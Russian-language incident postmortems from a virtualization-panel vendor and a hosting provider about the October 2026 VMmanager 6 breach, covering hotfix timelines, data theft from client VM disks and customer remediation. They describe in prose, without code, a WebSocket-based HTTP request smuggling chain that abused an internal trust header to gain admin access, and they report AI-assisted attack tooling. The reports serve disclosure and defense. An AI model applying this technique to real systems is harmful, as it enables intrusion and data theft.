14.10.2026 в 19:00 (МСК) для экстренного закрытия уязвимостей вместо запланированного патча были выпущены хотфиксы 2026.05.2-5 и 2026.09.1-1, основанные на исправлениях, запланированных в новой версии. Чтобы ускорить выпуск, мы не стали включать в этот хотфикс ряд превентивных архитектурных доработок, которые планировали к релизу 15 октября: они вошли в следующие хотфиксы. Также команда ISPsystem оперативно уведомила заказчиков через техническую поддержку о необходимости установки таковых и дала актуальные на тот момент рекомендации по защите инфраструктур, в том числе закрыть возможность загрузки пользователями своих ISO для уже скомпрометированных инфраструктур. Поскольку VMmanager и DCImanager имеют ряд общих сервисов, схожий патч 2026.09.1-1 был собран и применён для DCImanager 15.10.2026.

В отличие от Enterprise-сегмента, где инфраструктуру можно полностью изолировать внутри закрытого корпоративного периметра, бизнес-модель хостинг-провайдеров требует максимальной публичной доступности. По этой причине хостинг-провайдеры, как правило, эксплуатируют платформу в открытом контуре. Здесь важно уточнить: для хостинг-провайдера «открытый контур» — это не просто наличие доступа в интернет, а публично доступные сервисы на белых IP-адресах. Именно белые IP-адреса и выставленные наружу сервисы кратно увеличивают поверхность атаки, которая включает не только саму платформу, но и окружающую инфраструктуру. У инфраструктурных клиентов «открытый контур» обычно означает лишь доступ в интернет. Поэтому модели угроз для этих двух сценариев принципиально различаются.

Утром 17.10.2026 (МСК) началась новая волна атак, подтвержденная обращениями в поддержку ISPsystem. Их количество увеличивалось по нарастающей в течение дня, и к вечеру 17.10.2026 суммарно составило порядка 20. В ходе изучения журналов систем, подвергшихся новому этапу атаки, мы выяснили, что выпущенный ранее хотфикс решил поставленную перед ним задачу, однако злоумышленник начал дополнительно эксплуатировать другую уязвимость. Одновременно с этим предприняли еще ряд мер защиты — закрыли возможность выдачи SSH-доступа в платформе, запретили администраторам запускать скрипты для узлов и ВМ, дали провайдерам рекомендации по «закрытию» их инфраструктуры, которые позволили ограничить злоумышленнику пространство для маневра и помешать ему закрепиться в системе, и собирали хотфиксы.

18.10.2026 в 4:00 (МСК) были выпущены хотфиксы 2026.05.2-6 и 2026.09.1-2. Мы намеренно ограничили часть функционала, в том числе запуск и выполнение скриптов внутри платформы. Это позволяло «парализовать» злоумышленника, однако мы понимали, что первопричина инцидента пока не найдена, и продолжали вести расследование.

18.10.2026 в 18:00 (МСК) были выпущены хотфиксы 2026.05.2-7 и 2026.09.1-3 с закрытием дополнительных потенциально возможных путей перемещения внутри продукта.

19.10.2026 были выпущены обновления безопасности для DCImanager 6 — 2026.09.1-3 и 2026.09.1-4: как уже упоминали, платформа имеет схожую архитектуру с VMmanager 6, и мы защищали и ее в рамках реагирования на инцидент.

19.10.2026 в 16:00 (МСК) в ходе расследования мы установили, что злоумышленник проникал на серверы с использованием контрабанды HTTP-запросов (HTTP Request Smuggling). Для этого использовалась ранее неизвестная 0-day уязвимость в нашем сервисе, а особенность nginx пропускать такие запросы делала ее эксплуатацию возможной. В систему отправлялся HTTP-запрос на установку websocket-соединения с телом. По RFC такое поведение со стороны клиента не рекомендуется, nginx пропускает подобные запросы, и это открыло возможность использования контрабанды HTTP-запросов.

В NGINX, начиная с версии 1.31.5 от 2 сентября 2026 года, появилась директива client_body_early_read, позволяющая легко и удобно настраивать блокировку подобных запросов как для HTTP/1.1, так и для HTTP/2 (к счастью, HTTP/3 мы не используем). К сожалению, в stable-версии nginx на текущий момент (1.30.6) эта директива еще не поддерживается. Безусловно, найденная особенность работы nginx не снимает с нас ответственности за возникновение инцидента, однако мы крайне рекомендуем учитывать ее, если вы используете это решение в своей инфраструктуре.

Это привело к тому, что сервис, к которому обращается злоумышленник, запрос отвергает, но при этом не вычитывает его тело, а поскольку запрос содержит keep-alive, читает полученное тело как новый запрос. Для обычных запросов при передаче их из nginx в сервис (proxy_pass) мы со своей стороны использовали дополнительные Connection: close, что не позволяет обманывать систему подобным образом, но для websocket этого делать нельзя.

Это и позволило злоумышленнику выполнить запрос внутри системы с административными привилегиями. Внутри сети docker наши службы помечают внутренние запросы специальным HTTP-заголовком, который снаружи не принимается (nginx, используемый как frontend, этот заголовок не пропускает). Но из-за того, что nginx второй запрос воспринимал как тело первого, он никак не анализировал и не менял его.

19.10.2026 в 21:00 (МСК) были выпущены хотфиксы 2026.05.2-8 и 2026.09.1-4 с исправлением обнаруженной контрабанды HTTP-запросов (HTTP Request Smuggling), при этом блокировка части функционала сохранялась, поскольку злоумышленник все еще оставался внутри платформы.

20.10.2026 в 4:00 (МСК) были выпущены хотфиксы 2026.05.2-9 и 2026.09.1-5: возвращены веб-сокеты, которые ранее ограничил хотфикс против HTTP Request Smuggling, а также выпущен более аккуратный фикс основной уязвимости, не затрагивавший основную функциональность платформы.

Параллельно мы занимались зачисткой инфраструктур: искали вредоносные файлы, бэкдоры и закрепления и значительную часть из них находили и удаляли сами. «Лаборатория Касперского» предложила свою помощь в поиске и устранении следов атакующих и индикаторов компрометации, и мы приняли это предложение: коллеги усилили начатую нами работу по чистке. С согласия тех клиентов, чьи инфраструктуры проверялись, мы провели аудит их систем с помощью утилиты «Лаборатории Касперского» и передали партнеру результаты анализа их инфраструктур, а также скрипты, которые написали сами для поиска следов.

Также «Лаборатория Касперского» оперативно обновила детектирующие правила для обнаружения ВПО атакующих с помощью собственных решений. Правила обновлялись далее по мере получения новых данных в ходе расследования инцидента.

20.10.2026 в 21:30 (МСК) выпущены хотфиксы 2026.05.2-10 и 2026.09.1-6 с доработкой архитектуры и возвратом ещё части намеренно заблокированного функционала. Добавлена автоматическая блокировка известных «закладок» злоумышленника. Также был выпущен фикс для DCImanager — 2026.09.1-5.

21.10.2026 в 19:00 (МСК) на основе анализа данных хостинг-провайдеров «Лаборатория Касперского» предоставила бесплатный инструмент Kaspersky Virus Removal Tool (KVRT). Он помогал выявлять оставшиеся вредоносные объекты — например, бинарные файлы и другие следы атакующих. Инструмент был передан ряду провайдеров для дополнительного сканирования. Он показал эффективность, после чего ISPsystem предложила его всем, кого затронул инцидент.

22.10.2026 в 21:30 (МСК) мы выпустили фиксы 2026.05.2-11 и 2026.09.1-7 с дополнительными механизмами защиты платформы от потенциальных атак и стабилизационными улучшениями уже выпущенных хотфиксов. Параллельно мы продолжили анализировать скомпрометированные инфраструктуры, искать бэкдоры и аномалии.

23.10.2026 выпущены обновления безопасности для всех продуктов экосистемы: VMmanager 6 — stable v2026.05.2-12, regular v2026.09.1-8; DCImanager 6 — stable v2026.09.2-2, regular v2026.09.1-6; BILLmanager 6 — stable v6.154.5, regular v6.157.3; DNSmanager 6 — v6.5.2. Подчеркнем: эти обновления представляют собой дополнительные меры защиты, внедренные по результатам анализа методов атаки, и направлены на усиление безопасности экосистемы в целом — в том числе от векторов, которые в ходе инцидента не применялись. Также включают обновление компонентов nginx с устранением известных уязвимостей CVE-2026-15176, CVE-2026-97205, CVE-2026-93479.

После установки патча от 19.10.2026 случаев компрометации инфраструктур, применивших обновление, не зафиксировано.

23.10.2026 совместно с «Лабораторией Касперского» и клиентами хостинг-провайдеров мы продолжили работу по изучению скомпрометированных инфраструктур. По ее завершении мы дополнительно проинформируем о рекомендациях, которые необходимо выполнить для полной зачистки инфраструктуры.

В ходе расследования, чтобы проверить эффективность исправлений в условиях реальной атаки, ISPsystem развернула ряд стендов в открытом контуре, имитирующих инфраструктуру хостинг-провайдеров (honeypot): часть с актуальными патчами безопасности, другая без них. Стенды без исправлений были намеренно оставлены уязвимыми и подтвердили воспроизводимость атак. Стенды с исправлениями скомпрометировать не удалось.

Злоумышленник обнаружил стенды в короткие сроки и в течение нескольких дней предпринимал попытки взлома: в общей сложности более 10 000 запросов только на одну установку с перебором различных векторов и вызовов. Все попытки против защищенных стендов были отражены: исправления подтвердили эффективность в условиях реальной атаки. При этом мы изучаем, какие векторы злоумышленник пробовал использовать: эти данные будут учтены в следующих патчах.

На данный момент в ходе совместного с провайдерами расследования инцидента было установлено, что атака повлекла за собой угрозу безопасности пользовательских данных, включая потенциальную утечку SSH-ключей, паролей доступа, токенов доступа к облачным сервисам, конфигурационных файлов, истории вводимых команд, криптокошельков и пользовательских документов. Для части конечных клиентов инцидент обернулся временной недоступностью сервисов, вызванной необходимостью проведения экстренных технических работ и принудительной изоляции скомпрометированных нод. В результате анализа инцидента на узлах было обнаружено специализированное вредоносное ПО, занимающееся сбором данных. Вместе с тем мы не можем ни подтвердить, ни опровергнуть объем и сам факт передачи данных. Поэтому ряд провайдеров оценивает ситуацию консервативно и считает де-факто данные скомпрометированными. Мы считаем данный подход обоснованным.

На сегодняшний день закрыты уязвимости, которые эксплуатировались в ходе атаки. На инфраструктурах заказчиков развернуты необходимые исправления безопасности. При этом расследование продолжается: совместно с заказчиками и партнерами мы изучаем скомпрометированные инфраструктуры, анализируем поведение атакующего, а также ищем заложенные ранее не выявленные злоумышленником бэкдоры.

Меры реагирования и недопущения подобных ситуаций:
  • В рамках реагирования было организовано тесное взаимодействие с рядом хостинг-провайдеров — их обратная связь, содействие в проверке инсталляций и готовность участвовать в диагностике использовались для локализации инцидента и проверки эффективности принятых мер.
  • Мы информировали клиентов по закрытым каналам: рассылки, личный кабинет, баннеры в продукте. Публичных заявлений не делали, пока злоумышленник оставался активен: преждевременное раскрытие деталей могло увеличить число пострадавших. Приоритетом было снижение риска для клиентов, а не скорость публичной коммуникации. Дополнительно мы убирали с официального сайта предыдущие версии патчей безопасности, чтобы у клиентов не возникало путаницы при установке актуальной версии. Убедительно просим обращать внимание на сообщения вендора и не откладывать установку обновлений безопасности.
  • На стороне продукта внесены изменения во внутренний framework, используемый всеми сервисами системы — усилен контроль над обработкой HTTP-запросов и введены дополнительные проверки для внутренних запросов, чтобы снизить риск их подделки при проникновении злоумышленника во внутреннюю сеть.
  • Усилены механизмы защиты платформы от потенциальных атак — изменения уже вошли в последний релиз. Работа по повышению защищенности платформы продолжается — в ближайшее время выпустим и другие дополнительные обновления. Пожалуйста, устанавливайте актуальные версии и следите за рекомендациями. Использование старых версий продукта значительно усложняет или вовсе исключает проведение расследования в случае возникновения инцидента, а также делает возможным использование уязвимостей для проникновения и взлома, уже устраненных вендором в актуальных версиях платформы.
  • Мы уже трансформировали внутренний процесс управления жизненным циклом уязвимостей. Это позволит усилить их поиск, контроль и обработку, а также перейти к модели сквозного превентивного и экспресс-реагирования на инциденты безопасности. Данный подход уже применялся при итеративной доставке последних хотфиксов. Почему это важно? Когда атакующие работают с автоматизированными инструментами, между находкой уязвимости и её эксплуатацией проходят часы.
  • Еще одно направление работы — автоматизированный непрерывный ИИ-пентест. Эта практика применялась и ранее, но в рамках реагирования на инцидент была усилена: выросла частота проверок и расширился их охват. Это позволяет выявлять скрытые цепочки уязвимостей более оперативно.
  • Сотрудничество с «Лабораторией Касперского» будет продолжено с целью аудита скомпрометированных инфраструктур и проведения полноценного расследования для восстановления всей картины инцидента, включая поиск закрепов акторов, новых IoC и зачистку инфраструктур.
  • Важная информация для пользователей, которые закрыли контур в связи с инцидентом: просим держать контур закрытым еще некоторое время: мы завершаем анализ действий злоумышленника и планируем выпустить еще несколько патчей с усилением безопасности. Мы сообщим о возможности открытия контура и возобновлении работы в штатном режиме. Дополнительно всем пользователям рекомендуем использовать надежные средства защиты от киберугроз. Решения «Лаборатории Касперского» обнаруживают ВПО, применяемое в данной атаке. Вы также можете проверить инфраструктуру с помощью бесплатного инструмента Лаборатории под названием Kaspersky Virus Removal Tool (KVRT).
Важная информация для пользователей лицензий VMmanager Infrastructure и VMmanager Infrastructure (версия ФСТЭК): мы подготовили дополнительные меры усиления безопасности платформы на основании данных анализа инцидента и рекомендуем произвести установку выпускаемых патчей по мере их выхода.

Вывод
Мы столкнулись с беспрецедентной по своим масштабам атакой и на наши продукты, и на хостинг-провайдеров одновременно. На сегодняшний день было установлено, что она велась с помощью специализированных инструментов на базе ИИ. В частности, на это указывает наличие характерных специфических ИИ-паттернов, оставленных комментариев в скриптах злоумышленника, количество атак, а также тот факт, что в разных инфраструктурах одновременно шел параллельный процесс подбора методов атаки с динамическим изменением поведения злоумышленника в зависимости от настроек инфраструктуры конкретного провайдера, и ряд других наблюдений, сделанных нами в процессе изучения инцидента.

Сегодня инструменты на базе ИИ все активнее применяются при поиске уязвимостей, в том числе в широко распространенных компонентах — PHP, ядре Linux, nginx, Postgres. За последние недели атакам подверглись как фундаментальные компоненты, так и прикладные платформы. Использование таких инструментов существенно меняет требования к скорости реакции разработчиков программного обеспечения на подобные угрозы. Безусловно, безопасность — это не свойство когда-то написанного кода, а непрерывный процесс. ИИ не отменяет этот процесс, но задает ему более высокий темп.

Безопасность требует постоянной работы; для недопущения подобных ситуаций мы продолжим выпускать обновления с усиленными механизмами защиты и анализировать инфраструктуры. Расследование инцидента не завершится до тех пор, пока мы не будем уверены, что в пораженных средах не осталось каких-либо закреплений или бэкдоров злоумышленника.

Мы понимаем, что этот инцидент потребовал от наших клиентов и партнеров дополнительных усилий, приносим свои извинения и благодарим всех, кто помогает в диагностике и проверке исправлений.

Постмортем — атака на FirstVDS 17.10.2026



Основные результаты расследования
17 октября 2026 года мы обнаружили компрометацию платформы управления виртуализацией VMmanager 6, разработанной ISPsystem. Злоумышленник получил административный доступ к панели и использовал её штатные функции для запуска сборщика данных на узлах виртуализации. Сборщик подключал диски клиентских виртуальных машин в режиме только для чтения и копировал выбранные файлы, включая пароли, ключи, токены и конфигурации. Он работал на гипервизорах и не требовал запуска программы внутри клиентских ВМ.

Мы приносим извинения за последствия инцидента, ограничения в управлении услугами и необходимость срочной смены учётных данных. В этом отчёте изложены установленные обстоятельства, оценка последствий, выполненные меры и дальнейшие действия.

Редакция от 27 октября 2026 года. Время событий — московское (UTC+3). Расследование ведёт аналитическая группа на базе Отдела эксплуатации FirstVDS.

Действия для затронутых клиентов
18 октября мы начали направлять персональные уведомления по электронной почте и через личный кабинет, указывая затронутые серверы и необходимые действия. По результатам дополнительной проверки уведомления дополнялись. Если вы получили такое сообщение, считайте данные на указанных серверах скомпрометированными и выполните следующие действия. Скопированные пароли и ключи сохраняют силу до их смены или отзыва.
  • Смените пароли root и других пользователей сервера, а также пароли баз данных, панелей управления и приложений.
  • Перевыпустите SSH-ключи, API-ключи и токены облачных сервисов, репозиториев, платёжных систем и ботов. Отзовите прежние ключи и токены: одного создания новых недостаточно.
  • Проверьте файлы конфигурации, включая .env и строки подключения к базам данных. Замените содержащиеся в них пароли и другие секреты, в том числе используемые для доступа к внешним системам.
  • Если на сервере хранились приватные ключи или seed-фразы криптокошельков, перенесите средства на новые кошельки, созданные на доверенном устройстве.

Исследованный сборщик читал диски без изменения их содержимого. Сам этот способ сбора не требует обязательной переустановки каждой ВМ. Однако похищенные учётные данные могут использоваться для последующего входа, поэтому проверьте журналы авторизации, пользователей, authorized_keys, задания cron и службы systemd. При обнаружении постороннего доступа или невозможности подтвердить целостность системы восстановите её из доверенного источника. Переустановка не отзывает ключи и токены внешних сервисов — их необходимо заменить отдельно.

Проверка гостевой системы и смена учётных данных решают разные задачи. Отсутствие следов постороннего входа не исключает чтения файлов со стороны гипервизора, а смена одного пароля не отзывает остальные секреты, которые могли храниться на сервере.

Если уведомление не поступило, проверьте сообщения в личном кабинете. По результатам проведённой проверки мы уведомили владельцев серверов, отнесённых к затронутым. При выявлении дополнительных обстоятельств мы направим отдельные сообщения.

Хронология событий
  • 14–15 октября. ISPsystem выпустил обновления безопасности VMmanager. Мы обратились в поддержку за их установкой; обновлением занимались специалисты вендора. По сообщению поддержки, к вечеру 15 октября все панели были обновлены. На запрос о характере ошибки мы получили ответ о наличии уязвимости безопасности без раскрытия технических подробностей.
  • 17 октября, 00:44. Самая ранняя метка создания найденного архива сборщика. В течение дня зафиксированы несколько волн сбора данных и соединений с сервером злоумышленника. В первых уведомлениях клиентам было указано окно 12:27–22:34. Последующая проверка узлов выявила более ранние архивы и расширила установленный период сбора.
  • 17 октября, около 23:00. После предупреждения представителя ISPsystem об активности злоумышленника мы обнаружили посторонние скрипты. Дежурная команда отдела эксплуатации остановила панели VMmanager и применила сетевую изоляцию.
  • 18 октября, 04:00. ISPsystem выпустил экстренное обновление. Оно намеренно ограничивало часть функций панели, в том числе запуск скриптов внутри платформы, чтобы злоумышленник не мог ими пользоваться. Первопричина на тот момент ещё не была найдена.
  • 18 октября. Начали персональное уведомление затронутых клиентов по электронной почте и через личный кабинет. В сообщениях приводились перечни серверов и инструкции по смене учётных данных.
  • 18 октября, 18:00. Вендор выпустил обновление, которое закрывало дополнительные возможные пути перемещения внутри панели.
  • 19–20 октября. Из-за экстренного обновления 18 октября перестал работать модуль выдачи IP-адресов, и новые виртуальные серверы не создавались. Работу восстановили после обновления 21 октября.
  • 19–21 октября. 19 октября ISPsystem выпустил исправление уязвимости HTTP Request Smuggling. Первая версия сильно урезала функции панели. Наши панели с 17 октября были закрыты от внешней сети, поэтому вендор решил её не ставить и дождаться доработанной версии. Она вышла утром 20 октября. С 20 по 21 октября вендор вместе с нашей командой обновлял панели по очереди, кластер за кластером, и параллельно возвращал функции, отключённые экстренными обновлениями.
  • 21–22 октября. При дополнительной проверке управляющих серверов обнаружены инструменты сохранения удалённого доступа. Для поиска вредоносных компонентов команда использовала собственный анализ и Kaspersky Virus Removal Tool (KVRT) с обновлёнными детектами.
  • 23 октября. ISPsystem выпустил очередные обновления безопасности VMmanager. К этой дате мы сменили пароли всех учётных записей VMmanager — от пользовательских до административных.

Файловые метки указывают, что сбор данных начался примерно за 22 часа до обнаружения инцидента. Точное время первоначального проникновения не установлено. В ходе нашей проверки следов присутствия злоумышленника до 17 октября не обнаружено.

Механизм получения административного доступа
По техническому пояснению ISPsystem, злоумышленник использовал HTTP Request Smuggling — контрабанду HTTP-запросов. По описанному поведению мы сопоставили этот механизм с вариантом CL.0, при котором прокси учитывает тело запроса, а внутренний сервис фактически обрабатывает его как отсутствующее. CL.0 здесь является нашей технической интерпретацией описания вендора.

Атакующий отправлял запрос на установку WebSocket-соединения и помещал в его тело дополнительный HTTP-запрос. Nginx передавал тело внутреннему сервису как часть исходного запроса. Сервис отклонял запрос на соединение, но не вычитывал его тело и сохранял соединение открытым. Оставшиеся данные затем разбирались как следующий самостоятельный запрос.

Во вложенном запросе находился заголовок, которым внутренние службы обозначали доверенные обращения. Обычно nginx не пропускал такой заголовок от внешнего клиента. В данном случае он находился внутри тела первого запроса и не проходил обычную обработку заголовков. Внутренний сервис принимал его как признак доверенного обращения и выполнял запрос с административными полномочиями.

По последующему пояснению ISPsystem, обновление 14–15 октября закрывало другую уязвимость. Уязвимость HTTP Request Smuggling вендор нашёл и закрыл 19–20 октября, у нас исправление установлено 20–21 октября (подробнее в хронологии). После обновления мы продолжили проверку инфраструктуры на ранее оставленные средства доступа.

Получив административный доступ, атакующий использовал штатный механизм запуска задач на узлах. Сборщик читал диски со стороны гипервизора, без входа по SSH в каждую виртуальную машину. Поэтому отсутствие посторонних входов в гостевую систему не исключает доступа к её файлам.

Другие провайдеры, включая Senko Digital и ProfitServer, сообщали о создании посторонних административных учётных записей и других способах сохранения доступа в панелях. В наших панелях признаков такого способа закрепления не обнаружено; этот результат проверки также подтвердил вендор.

Затронутые системы и данные
Команда располагает бинарным файлом стиллера и исследовала его в доступном объёме. Анализ образца и параметров запуска из плейбуков управляющего сервера платформы позволил установить маски имён и расширения файлов, отбиравшихся для включения в дампы. В изученной команде запуска категории сбора и ограничение размера файлов не переопределялись; дополнительные маски отбора не задавались. По справке программы, набор категорий по умолчанию включает секреты и учётные данные, данные криптокошельков, пользовательские файлы и каталоги, системные настройки, данные Tor и историю команд. Исследованный стиллер выборочно копировал файлы с дисков клиентских ВМ, не создавая полных образов дисков. Дампы оперативной памяти ВМ этим инструментом не создавались.

Действие, заданное после завершения сборщика, отправляло уже сформированный архив на сервер злоумышленника; команд дополнительного сбора данных оно не содержало. На каждом обследованном узле найдено не более одного дампа стилера. По исследованным плейбукам и обнаруженным артефактам признаков дополнительного извлечения данных из клиентских ВМ за пределами установленного сценария сбора не выявлено. При этом количество сохранившихся дампов само по себе не исключает других операций с данными.

Найденные архивы сохранились, но зашифрованы ключом злоумышленника. Ключа расшифровки у нас нет. Анализ бинарного файла и известные параметры запуска позволяют установить правила отбора, однако проверить точный перечень фактически скопированных файлов по каждой ВМ по содержимому архивов невозможно; для архивов доступны размеры и файловые временные метки.

Архивы сборщика обнаружены на 457 узлах виртуализации — физических серверах, размещающих клиентские ВМ. Это количество узлов, а не клиентов или виртуальных машин: на одном физическом сервере работают ВМ разных заказчиков.

Суммарный размер найденных архивов составляет 117,24 ГиБ, или около 126 ГБ. Это объём файлов, обнаруженных на узлах. Он не устанавливает объём данных, фактически полученных злоумышленником.

По результатам антивирусной проверки исследованные образцы отнесены к семействам Grabber — средству кражи учётных данных — и Bpfit — бэкдору для удалённого доступа. Дополнительно выявлен инструмент Gsnetcat. Эти компоненты обнаружены на управляющих серверах и узлах VMmanager 6. Доступ снаружи мы перекрыли ещё 17 октября. Выявленные вредоносные объекты были сохранены для анализа, затем удалены.

На одном из управляющих серверов VMmanager также обнаружен архив базы панели управления. Он учитывается отдельно от зашифрованных архивов сборщика на узлах. База панели управления содержит данные учётных записей и сведения, связанные с доступом к виртуальным серверам; соответствующие пароли, ключи и токены рассматриваются как скомпрометированные. Персональных данных клиентов в базе VMmanager не было.

Биллинг, личный кабинет, платёжные данные, инфраструктура резервного копирования и другие системы, где хранятся персональные данные клиентов и сведения об их услугах, не управляются через VMmanager и инцидентом не затронуты.

Оценка передачи данных
Журналы прокси подтверждают соединения с сервером злоумышленника. Однако используемый формат журналов прокси-сервера учитывал размер ответа клиенту и не содержал достаточных данных для расчёта объёма отправленных данных. При семплировании объём трафика в NetFlow рассчитывается на основе выборочного учёта пакетов с последующей экстраполяцией на весь поток. Поэтому полученные значения являются статистической оценкой и могут отличаться от фактического объёма переданных данных. Подтвердить или опровергнуть полную передачу всех подготовленных архивов невозможно.

Для оценки последствий мы исходим из передачи данных всех виртуальных машин, которые в период сбора находились на узлах с обнаруженными архивами, кешами или индексами. Это основание для уведомления клиентов и смены учётных данных. Такая оценка не означает доказанного копирования всех файлов или полного диска каждой ВМ.

Для узлов, на которых не обнаружены ни каталоги дампов, ни связанные вредоносные процессы, мы принимаем рабочую оценку отсутствия передачи данных. Отсутствие этих признаков само по себе не подтверждает отсутствие иных последствий компрометации.

Выполненные меры и состояние восстановления
Команда ограничила сетевой доступ к панелям управления и узлам VMmanager. На пограничных маршрутизаторах заблокированы сети автономной системы, использовавшейся атакующим, чтобы затруднить обход блокировки сменой адреса у того же провайдера. Мы проверяли процессы и автозапуск, сопоставляли сетевые и файловые следы, сохраняли образцы и заменяли скомпрометированные учётные данные.

По информации ISPsystem, Лаборатория Касперского подготовила по материалам провайдеров эвристические детекты и включила их в базы KVRT 21 октября. Дополнительное сканирование помогло выявить оставшиеся вредоносные компоненты. Их копии сохранены для дальнейшего анализа, после чего обнаруженные объекты удалены.

По состоянию на 23 октября в VMmanager сменены пароли всех учётных записей, включая пользовательские и административные. Эта мера относится к платформе управления. Пароли и секреты внутри клиентских ВМ и во внешних сервисах необходимо менять отдельно.

Экстренные обновления вендора ограничивали часть функций панели. Одно из них, от 18 октября, нарушило выдачу IP-адресов, и 19–20 октября новые виртуальные серверы не создавались. Работа восстановлена 21 октября. Полная статистика доступности клиентских ВМ ещё не сведена; утверждать, что инцидент не повлиял на работу всех сервисов, было бы некорректно.

Рост числа обращений увеличил сроки ответа поддержки. Мы обрабатываем накопившиеся запросы и приносим извинения за задержки. Обращения, связанные с признаками компрометации и восстановлением доступа, просим описывать с указанием конкретного сервера и обнаруженных признаков.

Мы установили выпущенные ISPsystem обновления безопасности. В журнале изменений за 23 октября указаны сборки VMmanager 2026.09.1-8 и 2026.05.2-12. Параллельно мы отдельно проверяли управляющие серверы и узлы: исправление уязвимости не подтверждает удаления всех ранее внедрённых инструментов злоумышленника.

По сообщению ISPsystem, 23–25 октября вендор проверял исправления на ряде доступных из интернета тестовых стендов, имитирующих инфраструктуру провайдера: с исправлениями и без них. На стенды поступило более 10 000 запросов с перебором способов атаки и вызовов API. Вендор сообщил о воспроизведении атаки на контрольных стендах и отсутствии компрометации стендов с исправлениями. По его наблюдениям, новых случаев компрометации инфраструктур, установивших исправления от 19–20 октября, не зафиксировано. Исправления подтвердили эффективность в условиях реальной атаки. При этом ISPsystem продолжает изучать, какие векторы злоумышленник пробовал использовать: эти данные будут учтены в следующих патчах. Эти сведения приводятся как результаты проверки ISPsystem.

На момент подготовки отчёта командой FirstVDS выполнены следующие изменения:
  • в VMmanager заменены пароли, ключи и токены;
  • для панелей и узлов VMmanager, а также DNSmanager действуют сетевые ограничения;
  • внедрён новый прокси-сервер с расширенным журналированием и ограничениями исходящих соединений.

Инцидент не считается закрытым. Завершение восстановления связано с проверкой установленного исправления, устранением выявленных способов сохранения доступа, отзывом скомпрометированных учётных данных и контрольным обследованием систем.

Дальнейшие изменения защиты
Продолжаются следующие работы:
  • проверка всего управляющего контура и поиск оставшихся способов сохранения доступа;
  • замена секретов смежных систем и проверка интеграций;
  • восстановление части узлов средствами дистрибутива с проверкой целостности; для узлов, целостность которых подтвердить не удастся, предусмотрена пересборка из доверенной операционной системы;
  • разделение прокси по сервисам и зонам, введение дополнительных правил исходящей фильтрации;
  • централизованное длительное хранение журналов и настройка аварийных оповещений дежурной смене.

Мы изменяем порядок реагирования: сообщение об активной эксплуатации уязвимости становится основанием для немедленного ограничения доступа к затронутым системам, параллельно с проверкой и установкой исправлений. После остановки панели проверке подлежат все узлы, которыми она управляла.

Прямой публичный доступ клиентов к VMmanager восстанавливать не планируем. Управление серверами будет предоставляться через личный кабинет. О сроках и доступных функциях сообщим отдельно.

Компенсации
После публикации данного отчёта мы начнём рассмотрение вопросов компенсации. Порядок обращения и условия рассмотрения будут опубликованы отдельно.

Материалы расследования и источники
Материалы аналитической группы FirstVDS: инвентаризация архивов и узлов, анализ образцов, журналы прокси-сервера и сетевые данные, результаты антивирусных проверок, переписка с поддержкой и внутренний технический постмортем.

Технические пояснения ISPsystem и материалы вендора, использованные при подготовке отчёта. Описание первопричины и результаты испытаний на тестовых стендах приведены со ссылкой на сведения ISPsystem.

ISPsystem, сообщение об инциденте от 20 октября: ispsystem.ru/news/vulnerability-incident

ISPsystem, журнал изменений VMmanager: ispsystem.com/vm-changelog

Senko Digital, собственный постмортем инцидента: senkostatus.com/history/inci_EhaD8uWavIoVCE

ProfitServer, сообщение об инциденте с VMmanager 6: profitserver.net/knowledge-base/vmmanager-6-october-2026/

HTTP request smuggling, вариант CL.0, описание класса: portswigger.net/web-security/request-smuggling/browser/cl-0

Публичный разбор инцидента ISPsystem: www.ispsystem.ru/news/post-mortem